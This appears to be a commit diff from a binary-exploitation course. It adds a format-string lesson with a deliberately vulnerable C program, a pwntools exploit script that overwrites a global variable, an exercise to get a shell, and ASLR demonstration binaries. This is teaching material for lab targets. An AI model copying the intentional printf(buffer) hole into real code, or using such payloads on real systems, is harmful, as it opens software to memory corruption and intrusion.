Skip to content

Commit 7fc3931

Browse files
committed
Finished!
1 parent f70fbae commit 7fc3931

16 files changed

+368
-3
lines changed

lessons/10_bypass_got/lessonplan.md

+2-1
Original file line numberDiff line numberDiff line change
@@ -385,7 +385,8 @@ It was compiled with a stack canary.
385385
386386
`gcc -m32 -znoexecstack -o ./build/2_event1 ./src/2_event1.c`
387387
388-
The binary can be [found here][1] and the source can be [found here][2].
388+
The binary can be [found here][1] and the source can be [found here][2]. The
389+
remote target is `nc localhost 1902`.
389390
390391
[1]: ./build/2_event1
391392
[2]: ./src/2_event1.c

lessons/13_fmt_str/Makefile

+4-1
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,7 @@
1-
all: 3_echo
1+
all: 2_overwrite 3_echo
2+
3+
2_overwrite:
4+
gcc -m32 -o ./build/2_overwrite ./src/2_overwrite.c
25

36
3_echo:
47
gcc -m32 -znoexecstack -o ./build/3_echo ./src/3_echo.c

lessons/13_fmt_str/build/1_lottery

7.14 KB
Binary file not shown.

lessons/13_fmt_str/build/2_overwrite

7.33 KB
Binary file not shown.

lessons/13_fmt_str/lessonplan.md

+115
Original file line numberDiff line numberDiff line change
@@ -1 +1,116 @@
11
# Format String Vulnerabilties
2+
3+
Yes, I know this is a really cliche topic but I am just covering one cool thing
4+
that you can do with pwntools. That's all, I promise. Now, we will be looking at
5+
this simple program that is vulnerable to a format string attack. The idea is to
6+
modify the token so that it contains 0xcafebabe when the check occurs.
7+
8+
```c
9+
#include <stdio.h>
10+
#include <stdlib.h>
11+
12+
unsigned int token = 0xdeadbeef;
13+
14+
int main() {
15+
char buffer[200];
16+
scanf("%199s", buffer);
17+
printf(buffer);
18+
printf("\nToken = 0x%x\n", token);
19+
if (token == 0xcafebabe) {
20+
puts("Winner!");
21+
}
22+
else {
23+
puts("Loser!");
24+
}
25+
}
26+
```
27+
28+
So after playing around with the program, we figure out that the first format
29+
argument we control is at offset 5.
30+
31+
```shell
32+
ubuntu@ubuntu-xenial:/vagrant/lessons/13_fmt_str/scripts$ ../build/2_overwrite
33+
AAAA%5$x
34+
AAAA41414141
35+
Token = 0xdeadbeef
36+
Loser!
37+
```
38+
39+
Next, we need the address of the token.
40+
41+
```shell
42+
ubuntu@ubuntu-xenial:/vagrant/lessons/13_fmt_str/scripts$ nm ../build/2_overwrite | grep token
43+
0804a028 D token
44+
```
45+
46+
Now we can write our exploit script. Pwntools actually has a format string
47+
attack generator so we can beat the binary in a few quick easy lines.
48+
49+
```python
50+
#!/usr/bin/python
51+
52+
from pwn import *
53+
54+
token_addr = 0x0804a028
55+
56+
def main():
57+
p = process("../build/2_overwrite")
58+
payload = fmtstr_payload(5, {token_addr: 0xcafebabe})
59+
log.info("Sending payload: %s" % payload)
60+
p.sendline(payload)
61+
62+
data = p.recvall()
63+
realdata = data[data.find("Token"):]
64+
log.success(realdata)
65+
66+
if __name__ == "__main__":
67+
main()
68+
```
69+
70+
Running the program.
71+
72+
```shell
73+
ubuntu@ubuntu-xenial:/vagrant/lessons/13_fmt_str/scripts$ python 1_overwrite_token.py
74+
[+] Starting local process '../build/2_overwrite': Done
75+
[*] Sending payload: (�)�*�+�%174c%5$hhn%252c%6$hhn%68c%7$hhn%204c%8$hhn
76+
[▁] Receiving all data: 0B
77+
[+] Receiving all data: Done (742B)
78+
[+] Token = 0xcafebabe
79+
Winner!
80+
```
81+
82+
## Exercises
83+
84+
### Ex 13.1: Echoes
85+
86+
Before you continue onto the more advanced exercises, here's something to
87+
tackle. The source code to this challenge is given:
88+
89+
```c
90+
#include <stdlib.h>
91+
#include <stdio.h>
92+
#include <unistd.h>
93+
94+
int main() {
95+
setvbuf(stdin, NULL, _IONBF, 0);
96+
setvbuf(stdout, NULL, _IONBF, 0);
97+
char echoed[1000] = {0};
98+
char number[200];
99+
int times;
100+
int i;
101+
while (1) {
102+
read(0, echoed, 999);
103+
puts("How many times do you want it echoed?");
104+
scanf("%199s", number);
105+
times = atoi(number);
106+
for (i = 0; i < times; i++) {
107+
printf(echoed);
108+
}
109+
}
110+
}
111+
```
112+
113+
The binary to the exercise can be found [here][1]. The remote target is `nc
114+
localhost 1903` and the goal is to get a shell.
115+
116+
[1]: ./build/3_echo
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,18 @@
1+
#!/usr/bin/python
2+
3+
from pwn import *
4+
5+
token_addr = 0x0804a028
6+
7+
def main():
8+
p = process("../build/2_overwrite")
9+
payload = fmtstr_payload(5, {token_addr: 0xcafebabe})
10+
log.info("Sending payload: %s" % payload)
11+
p.sendline(payload)
12+
13+
data = p.recvall()
14+
realdata = data[data.find("Token"):]
15+
log.success(realdata)
16+
17+
if __name__ == "__main__":
18+
main()

lessons/13_fmt_str/src/1_lottery.c

+7
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,7 @@
1+
#include <stdio.h>
2+
#include <stdlib.h>
3+
4+
5+
int main() {
6+
7+
}

lessons/13_fmt_str/src/2_overwrite.c

+17
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,17 @@
1+
#include <stdio.h>
2+
#include <stdlib.h>
3+
4+
unsigned int token = 0xdeadbeef;
5+
6+
int main() {
7+
char buffer[200];
8+
scanf("%199s", buffer);
9+
printf(buffer);
10+
printf("\nToken = 0x%x\n", token);
11+
if (token == 0xcafebabe) {
12+
puts("Winner!");
13+
}
14+
else {
15+
puts("Loser!");
16+
}
17+
}

lessons/8_aslr/Makefile

+7
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,7 @@
1+
all: 1_reveal_addresses
2+
3+
1_reveal_addresses:
4+
gcc -m32 -o ./build/1_reveal_addresses ./src/1_reveal_addresses.c -ldl
5+
gcc -o ./build/2_reveal_addresses64 ./src/1_reveal_addresses.c -ldl
6+
gcc -m32 -o ./build/3_reveal_addresses_pie ./src/1_reveal_addresses.c -ldl -pie
7+
gcc -o ./build/4_reveal_addresses64_pie ./src/1_reveal_addresses.c -ldl -pie -fPIC
7.4 KB
Binary file not shown.
8.71 KB
Binary file not shown.
7.48 KB
Binary file not shown.
8.76 KB
Binary file not shown.

lessons/8_aslr/lessonplan.md

+178
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,178 @@
1+
# ASLR in Depth
2+
3+
Actually, the title is a lie. We're not really going to discuss ASLR in that
4+
depth yet. We don't really need to. However, what we are going to do is explore
5+
the effects of ASLR on a diagnostic binary we used in the previous section.
6+
7+
```c
8+
#define _GNU_SOURCE
9+
#include <stdlib.h>
10+
#include <stdio.h>
11+
#include <dlfcn.h>
12+
#include <unistd.h>
13+
14+
15+
int main() {
16+
puts("This program helps visualise where libc is loaded.\n");
17+
int pid = getpid();
18+
char command[500];
19+
puts("Memory Layout: ");
20+
sprintf(command, "cat /proc/%d/maps", pid);
21+
system(command);
22+
puts("\nFunction Addresses: ");
23+
printf("System@libc 0x%lx\n", dlsym(RTLD_NEXT, "system"));
24+
printf("PID: %d\n", pid);
25+
}
26+
```
27+
28+
## ASLR Turned Off
29+
30+
First, make sure ASLR is turned off.
31+
32+
```shell
33+
ubuntu@ubuntu-xenial:/vagrant/lessons/8_aslr/build$ echo 0 | sudo tee
34+
/proc/sys/kernel/randomize_va_space
35+
0
36+
```
37+
38+
Now, play with the binaries in `/vagrant/lessons/8_aslr/build/`. You should
39+
notice that the addresses the objects are mapped at are more or less constant.
40+
41+
```shell
42+
ubuntu@ubuntu-xenial:/vagrant/lessons/8_aslr/build$ ./1_reveal_addresses
43+
This program helps visualise where libc is loaded.
44+
45+
Memory Layout:
46+
08048000-08049000 r-xp 00000000 00:28 161
47+
/vagrant/lessons/8_aslr/build/1_reveal_addresses
48+
08049000-0804a000 r--p 00000000 00:28 161
49+
/vagrant/lessons/8_aslr/build/1_reveal_addresses
50+
0804a000-0804b000 rw-p 00001000 00:28 161
51+
/vagrant/lessons/8_aslr/build/1_reveal_addresses
52+
0804b000-0806c000 rw-p 00000000 00:00 0 [heap]
53+
f7e0f000-f7e10000 rw-p 00000000 00:00 0
54+
f7e10000-f7fbf000 r-xp 00000000 08:01 256310
55+
/lib/i386-linux-gnu/libc-2.23.so
56+
f7fbf000-f7fc0000 ---p 001af000 08:01 256310
57+
/lib/i386-linux-gnu/libc-2.23.so
58+
f7fc0000-f7fc2000 r--p 001af000 08:01 256310
59+
/lib/i386-linux-gnu/libc-2.23.so
60+
f7fc2000-f7fc3000 rw-p 001b1000 08:01 256310
61+
/lib/i386-linux-gnu/libc-2.23.so
62+
f7fc3000-f7fc6000 rw-p 00000000 00:00 0
63+
f7fc6000-f7fc9000 r-xp 00000000 08:01 256309
64+
/lib/i386-linux-gnu/libdl-2.23.so
65+
f7fc9000-f7fca000 r--p 00002000 08:01 256309
66+
/lib/i386-linux-gnu/libdl-2.23.so
67+
f7fca000-f7fcb000 rw-p 00003000 08:01 256309
68+
/lib/i386-linux-gnu/libdl-2.23.so
69+
f7fd4000-f7fd6000 rw-p 00000000 00:00 0
70+
f7fd6000-f7fd8000 r--p 00000000 00:00 0 [vvar]
71+
f7fd8000-f7fd9000 r-xp 00000000 00:00 0 [vdso]
72+
f7fd9000-f7ffb000 r-xp 00000000 08:01 256300
73+
/lib/i386-linux-gnu/ld-2.23.so
74+
f7ffb000-f7ffc000 rw-p 00000000 00:00 0
75+
f7ffc000-f7ffd000 r--p 00022000 08:01 256300
76+
/lib/i386-linux-gnu/ld-2.23.so
77+
f7ffd000-f7ffe000 rw-p 00023000 08:01 256300
78+
/lib/i386-linux-gnu/ld-2.23.so
79+
fffdd000-ffffe000 rw-p 00000000 00:00 0 [stack]
80+
81+
Function Addresses:
82+
System@libc 0xf7e4ada0
83+
PID: 4452
84+
```
85+
86+
```shell
87+
ubuntu@ubuntu-xenial:/vagrant/lessons/8_aslr/build$ ./4_reveal_addresses64_pie
88+
This program helps visualise where libc is loaded.
89+
90+
Memory Layout:
91+
555555554000-555555555000 r-xp 00000000 00:28 158
92+
/vagrant/lessons/8_aslr/build/4_reveal_addresses64_pie
93+
555555754000-555555755000 r--p 00000000 00:28 158
94+
/vagrant/lessons/8_aslr/build/4_reveal_addresses64_pie
95+
555555755000-555555756000 rw-p 00001000 00:28 158
96+
/vagrant/lessons/8_aslr/build/4_reveal_addresses64_pie
97+
555555756000-555555777000 rw-p 00000000 00:00 0 [heap]
98+
7ffff780a000-7ffff79c9000 r-xp 00000000 08:01 2068
99+
/lib/x86_64-linux-gnu/libc-2.23.so
100+
7ffff79c9000-7ffff7bc9000 ---p 001bf000 08:01 2068
101+
/lib/x86_64-linux-gnu/libc-2.23.so
102+
7ffff7bc9000-7ffff7bcd000 r--p 001bf000 08:01 2068
103+
/lib/x86_64-linux-gnu/libc-2.23.so
104+
7ffff7bcd000-7ffff7bcf000 rw-p 001c3000 08:01 2068
105+
/lib/x86_64-linux-gnu/libc-2.23.so
106+
7ffff7bcf000-7ffff7bd3000 rw-p 00000000 00:00 0
107+
7ffff7bd3000-7ffff7bd6000 r-xp 00000000 08:01 2067
108+
/lib/x86_64-linux-gnu/libdl-2.23.so
109+
7ffff7bd6000-7ffff7dd5000 ---p 00003000 08:01 2067
110+
/lib/x86_64-linux-gnu/libdl-2.23.so
111+
7ffff7dd5000-7ffff7dd6000 r--p 00002000 08:01 2067
112+
/lib/x86_64-linux-gnu/libdl-2.23.so
113+
7ffff7dd6000-7ffff7dd7000 rw-p 00003000 08:01 2067
114+
/lib/x86_64-linux-gnu/libdl-2.23.so
115+
7ffff7dd7000-7ffff7dfd000 r-xp 00000000 08:01 2051
116+
/lib/x86_64-linux-gnu/ld-2.23.so
117+
7ffff7fea000-7ffff7fed000 rw-p 00000000 00:00 0
118+
7ffff7ff6000-7ffff7ff8000 rw-p 00000000 00:00 0
119+
7ffff7ff8000-7ffff7ffa000 r--p 00000000 00:00 0 [vvar]
120+
7ffff7ffa000-7ffff7ffc000 r-xp 00000000 00:00 0 [vdso]
121+
7ffff7ffc000-7ffff7ffd000 r--p 00025000 08:01 2051
122+
/lib/x86_64-linux-gnu/ld-2.23.so
123+
7ffff7ffd000-7ffff7ffe000 rw-p 00026000 08:01 2051
124+
/lib/x86_64-linux-gnu/ld-2.23.so
125+
7ffff7ffe000-7ffff7fff000 rw-p 00000000 00:00 0
126+
7ffffffde000-7ffffffff000 rw-p 00000000 00:00 0 [stack]
127+
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0
128+
[vsyscall]
129+
130+
Function Addresses:
131+
System@libc 0x7ffff784f390
132+
PID: 4446
133+
```
134+
135+
## ASLR Turned On
136+
137+
Now, turn on the ASLR.
138+
139+
```shell
140+
ubuntu@ubuntu-xenial:/vagrant/lessons/8_aslr/build$ echo 2 | sudo tee
141+
/proc/sys/kernel/randomize_va_space
142+
2
143+
```
144+
145+
Before repeating the previous steps on the binaries again, take a look at the
146+
output from `checksec`.
147+
148+
```shell
149+
ubuntu@ubuntu-xenial:/vagrant/lessons/8_aslr/build$ checksec *
150+
[*] '/vagrant/lessons/8_aslr/build/1_reveal_addresses'
151+
Arch: i386-32-little
152+
RELRO: Partial RELRO
153+
Stack: Canary found
154+
NX: NX enabled
155+
PIE: No PIE
156+
[*] '/vagrant/lessons/8_aslr/build/2_reveal_addresses64'
157+
Arch: amd64-64-little
158+
RELRO: Partial RELRO
159+
Stack: Canary found
160+
NX: NX enabled
161+
PIE: No PIE
162+
[*] '/vagrant/lessons/8_aslr/build/3_reveal_addresses_pie'
163+
Arch: i386-32-little
164+
RELRO: Partial RELRO
165+
Stack: Canary found
166+
NX: NX enabled
167+
PIE: PIE enabled
168+
[*] '/vagrant/lessons/8_aslr/build/4_reveal_addresses64_pie'
169+
Arch: amd64-64-little
170+
RELRO: Partial RELRO
171+
Stack: Canary found
172+
NX: NX enabled
173+
PIE: PIE enabled
174+
```
175+
176+
Notice that the last two have PIE enabled. PIE stands for Position Independent
177+
Executable. Do you notice any interesting about the results when running these
178+
binaries with ASLR turned on?
+18
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,18 @@
1+
#define _GNU_SOURCE
2+
#include <stdlib.h>
3+
#include <stdio.h>
4+
#include <dlfcn.h>
5+
#include <unistd.h>
6+
7+
8+
int main() {
9+
puts("This program helps visualise where libc is loaded.\n");
10+
int pid = getpid();
11+
char command[500];
12+
puts("Memory Layout: ");
13+
sprintf(command, "cat /proc/%d/maps", pid);
14+
system(command);
15+
puts("\nFunction Addresses: ");
16+
printf("System@libc 0x%lx\n", dlsym(RTLD_NEXT, "system"));
17+
printf("PID: %d\n", pid);
18+
}

lessons/9_bypass_ret2plt/lessonplan.md

+2-1
Original file line numberDiff line numberDiff line change
@@ -426,7 +426,8 @@ int main() {
426426
}
427427
```
428428

429-
The binary can be found [here][5].
429+
The binary can be found [here][5]. And the remote target is at `nc localhost
430+
1901`.
430431

431432
If you get stuck, you can look at the following solution scripts in order of
432433
completeness.

0 commit comments

Comments
 (0)